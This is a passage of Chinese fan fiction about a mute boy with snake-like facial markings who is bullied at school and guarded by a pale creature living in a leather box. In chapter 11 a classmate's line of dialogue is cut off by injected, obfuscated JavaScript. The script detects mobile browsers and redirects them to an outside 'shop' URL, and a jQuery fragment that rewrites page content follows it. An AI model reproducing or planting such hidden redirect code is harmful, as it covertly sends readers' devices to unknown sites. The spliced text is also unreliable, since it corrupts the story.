6.
箱子是父亲找来的。
深棕色皮革，铜扣，大小刚好能装下我所有的画册。
母亲在里面铺了软垫，摸起来像猫咪的肚皮。
我把箱子放在房间中央，打开，然后看向祂。
祂正坐在窗边，手里捏着我昨天给它的玻璃珠，对着阳光转来转去。发现我在看，祂停下动作，歪头。
我拍拍箱子内衬。
祂站起来，走过来，蹲在箱子边。祂先伸手摸了摸垫子，然后凑近闻了闻。
但其实我不知道祂是否需要呼吸，可是祂总做这个动作，像在确认安全。
接着祂就乖乖爬进去了。
过程有点滑稽。因为祂的腿太长，需要蜷得很紧；手臂不知该放哪，最后抱住了膝盖。
箱子对祂来说太小了，整个人像被勉强塞进去的大型玩偶。
坐好后，祂仰头看我。
黑发在狭窄空间里散开，纯白的眼眶在昏暗光线里像两枚温润的卵石。
我蹲下，和祂平视。
突然不知道该摆什么珠子。
祂抬起手，隔着箱沿，很轻地碰了碰我的脸颊。
凉的指腹，熟悉的触感。
然后祂收回手，在箱子里调整了一下姿势，把头靠在箱壁上，闭上了眼睛。
虽然祂本来就没有眼睑，但那个姿态明显是“我准备好了”。
直到祂的身体开始变得透明，我才合上箱盖。
咔嗒一声，铜扣锁紧。
箱子比想象中轻。
我提起来，走到书桌边放下。
窗外夕阳正沉，房间里染满暗金色。
我坐下，开始摆珠子。
蓝的、黄的、绿的，没有意义，只是摆。
摆到一半，箱子里传来叩击声。
嗒、嗒、嗒。
很轻，像指甲在刮擦内壁。
我敲了敲箱盖作为回应。
嗒、嗒。
箱子安静了。
过了一会儿，又传来叩击声，只不过这次是两长一短。
我停下摆珠子的手，听着。
嗒、嗒、嗒。
祂在模仿我昨天摆的节奏。
我笑了，没有声音，但嘴角扬起来。
我敲回去同样的节奏。
箱子里的叩击声停了，换成一种满足的、像是叹息的震动，透过皮革传到我手心。
温暖而真实。
我继续摆珠子，这次摆了一个圈，把所有颜色围在一起。
窗外，天色彻底暗了，星星一颗颗亮起来。
箱子里再也没有声音传出，但我知道，祂在听。听我呼吸，听我心跳，听我指尖摩擦珠子的细响。
三步之内的距离，变成了箱壁的厚度。
也许铃木老师说得对——总有一天，我要独自面对。
但不是今天。
7.
上学的第一天，我就知道这会是个错误。
倒不是因为课桌太高，也不是因为铅笔太硬。
是因为所有孩子，没错，是所有孩子在看到我的脸时，都会愣住半秒，然后视线像被烫到一样迅速移开。
他们盯着我嘴角延伸到耳际的深紫色蛇纹，盯着那些在光线下会微微反光的纹路，然后小声交头接耳。
“那是什么？”
“好可怕……”
“像蛇。”
我低头，用手捂住半张脸。手指能摸到皮肤上微微凸起的纹路，像藤蔓的根系。
班主任小林老师在讲台上努力维持笑容：“狗卷君因为先天原因不能说话，大家要好好相处哦。”
没人应声。
我脚边的箱子轻轻动了一下，皮革摩擦地板，发出细微的吱呀声。
“那是什么？”一个男孩指着箱子问。
“是……安抚玩具。”小林老师的声音有点虚，“狗卷君需要它。”
箱子又动了一下。
这次更明显，整个箱体向我的方向倾斜，像要挨得更近。
前排的女孩缩了缩肩膀。
8.
课间，我逃到走廊尽头的洗手间。
锁上门，背靠着冰冷的瓷砖滑坐到地上。
手指还捂着脸，掌心全是汗。
镜子里的我，脸上的紫色纹路从指缝漏出来，像某种宣告：你不是正常人。
洗手间的灯管嗡嗡作响，光线惨白。
然后我看见了，从门缝底下，一丝黑色的、发丝般的东西渗进来。
很慢，像试探的水流，在地砖上蜿蜒，爬向我的脚边。
我盯着那缕黑发。它在我鞋尖前停住，轻轻卷曲，又缩回去一点。
“……木鱼花。”我用气声说。
——别进来。
黑发听话的停住了，在原地微微颤动，像受伤的虫。
洗手间外传来孩子们跑过的脚步声，笑声尖锐。我听见有人喊：“那个脸上有花纹的怪人躲到哪里去了？”
黑发猛地绷直。
我扑过去，手掌死死按在门缝上。黑发擦过我的手背，凉的，像深夜的溪水。
“别。”我几乎是用喉咙挤出声音，“木鱼花……拜托。”
黑发缓缓退出门缝，然后消失了。
我瘫坐回去，把脸埋进膝盖。
校服布料粗糙，摩擦着蛇纹，有点痒。
门外，孩子们的笑声渐渐远去。
9.
午餐时，我端着餐盘找座位。
每走近一桌，那桌的孩子就会突然安静，低头猛扒饭，或者装作没看见我。
最后我坐到最角落的桌子，一个人。餐盘里的炸鸡块冷了，油凝结成白色斑点。
我把箱子放在旁边椅子上，打开一条缝，悄悄塞进去半块炸鸡。
过了一会儿，空了的签子被推出来，上面沾着一点凉凉的水汽。
旁边桌传来窃笑。
“看，他在喂箱子。”
“箱子里真的有东西吗？”
“不知道，好恶心。”
我握紧筷子，指节发白。
箱子里传来轻微的叩击声：嗒，嗒嗒。
——我在。
10.
体育课是躲避球，老师特许我在树荫下休息。
我抱着箱子坐在长椅上，看其他孩子奔跑尖叫。
球滚到我脚边。
一个男孩跑过来捡，看见我，动作顿住。他盯着我的脸看了几秒，突然咧嘴笑：“喂，怪物脸，你真的不说话吗？”
我低头。
“听说你箱子里养了脏东西。”他踢了踢箱子，“打开看看？”
箱子纹丝不动。
男孩蹲下来，手伸向铜扣。我抓住他的手腕，摇头。
“放开！”他甩开我，用力推了我一把。
我的背撞在树干上，闷痛。
箱子从长椅滑落，砰地砸在地上。
铜扣弹开了，箱盖掀开一条缝。
男孩凑过去看，然后他脸上的血色瞬间褪尽。他张着嘴，发不出声音，整个人像被冻住了。
我从地上爬起来，扑过去合上箱盖，手指颤抖着扣上铜扣。
皮革冰凉却挡不住我内心的煎熬。
男孩倒退两步，一屁股坐在地上，然后爬起来就跑，连球都不要了。
我抱着箱子，低头看箱盖。皮革表面，刚才被男孩踢到的地方，有一小块微微凹陷下去，像某种无声的抗议。
我用掌心揉了揉那块凹陷。
箱子里传来轻微的、像是蹭内壁的声音。
11.
放学后，我在教室待到所有人都走光。夕阳把桌椅拉出长长的影子。
我收拾书包，提起箱子。箱子今天特别沉，像在生气。
走廊空荡荡的，鞋底敲击地板的声音格外响。
在楼梯转角，我遇到了小满。小满是我前桌的女孩，她扎着两条辫子，背粉色书包，正蹲在地上系鞋带。
看见我，她站起来，眼睛眨了眨：“狗卷君。”
我点头。
她看了看我的脸，又看了看我手里的箱子，突然说：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114033|195894||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那些人在背后说的话，你别在意。”
我愣住。
“我奶奶说，有些人身上有特别的记号，是因为他们生来就特别。”小满认真地说，“你的花纹……其实仔细看，像藤蔓，挺漂亮的。”
我不知道该摆什么珠子。手在口袋里摸索，最后掏出一颗蓝色的，递给她。
她接过，对着光看：“哇，像海的颜色！”
然后她从自己书包里掏出一颗水果糖，塞进我手里：“这个给你。明天见，狗卷君。”
她跑下楼梯，辫子在肩头一跳一跳。
我捏着糖，糖纸在夕阳下闪闪发光。
箱子里传来叩击声：嗒。
——走了？
“鲑鱼。”我小声说。
——走了。
12.
回家的电车上，我剥开糖纸，把糖放进嘴里，甜味在舌尖化开。
箱子放在旁边座位上，随着电车摇晃轻轻摆动。
我伸手按住它，指尖感觉到皮革下传来的、规律的搏动。
像心跳。
我忍不住想那个男孩吓得苍白的脸，还有他看向箱子缝隙时，瞳孔骤缩的样子。
箱子里有什么？
我不知道，或者说，不想知道。
我只需要知道：祂在我三步之内。
在我需要时，会伸出手，虽然那手苍白得不似活人。
在我被推倒时，会打开箱盖，虽然那缝隙里漏出的气息让普通人恐惧。
我们……会，永远，在，一起。
13.
晚上，我在房间打开箱子。
祂坐在里面，黑发有些凌乱，纯白的眼眶对着我。
今天祂的姿势有点奇怪，背挺得笔直，双手放在膝盖上，像在模仿坐姿端正的小学生。
我伸手进去，碰了碰祂的手背。
还是凉的。
祂把手翻过来，掌心向上。掌心里，躺着那颗蓝色珠子，是我给小满那颗。
不知什么时候被祂拿回来的。
我摇头，把珠子推回祂手心，然后比划：送出去了。
祂盯着珠子看了很久，然后慢慢握紧。珠子在祂掌心发出轻微的挤压声。
接着祂抬起另一只手，指了指自己的耳朵后面。
我凑近看。
那里别着一片小小的、干枯的樱花花瓣。
是我上周塞进箱子的那片，已经变成了半透明的浅褐色。
祂指了指花瓣，又指了指我。——我的。
我愣住。
祂又指了指花瓣，再指向自己胸口的位置。——我的，你给的。
那种执拗的、不容置疑的宣告，没有声音，却比任何话语都清晰。
我忽然觉得喉咙发紧。
我伸手，轻轻碰了碰那片干枯的花瓣。
祂立刻歪头，把花瓣所在的那侧耳朵凑近我的手，像猫蹭人掌心。
凉的耳廓，脆弱的花瓣。
我收回手，把箱盖合上一半，留一条缝，让光漏进去。
祂在昏暗中仰头看我，纯白的眼眶像两枚温润的卵石。
我从书包里拿出小满给的糖纸，展平，从缝隙塞进去。
过了一会儿，糖纸被推出来，它被叠成了一只歪歪扭扭的纸鹤。
折叠的痕迹很生硬，像第一次尝试。
我拿起纸鹤，对着灯看。
糖纸的彩色透过灯光，在祂苍白的脸上投下晃动的光斑。
祂透过箱盖缝隙看着我，等待。
我点头，把纸鹤放在书桌上最显眼的位置。
箱子里传来满足的、像是叹息的震动。
窗外，夜色深了。
我躺下，手搭在箱子上。
掌心下，搏动声渐渐平缓，像睡着了。
不过祂没睡，祂在听，听我呼吸、听我翻身、听这个房间里所有细微的声响。
然后守着我，一直守着我。
就像过去的每一天，就像未来的每一天。
三步之内，或者三步之外，都一样。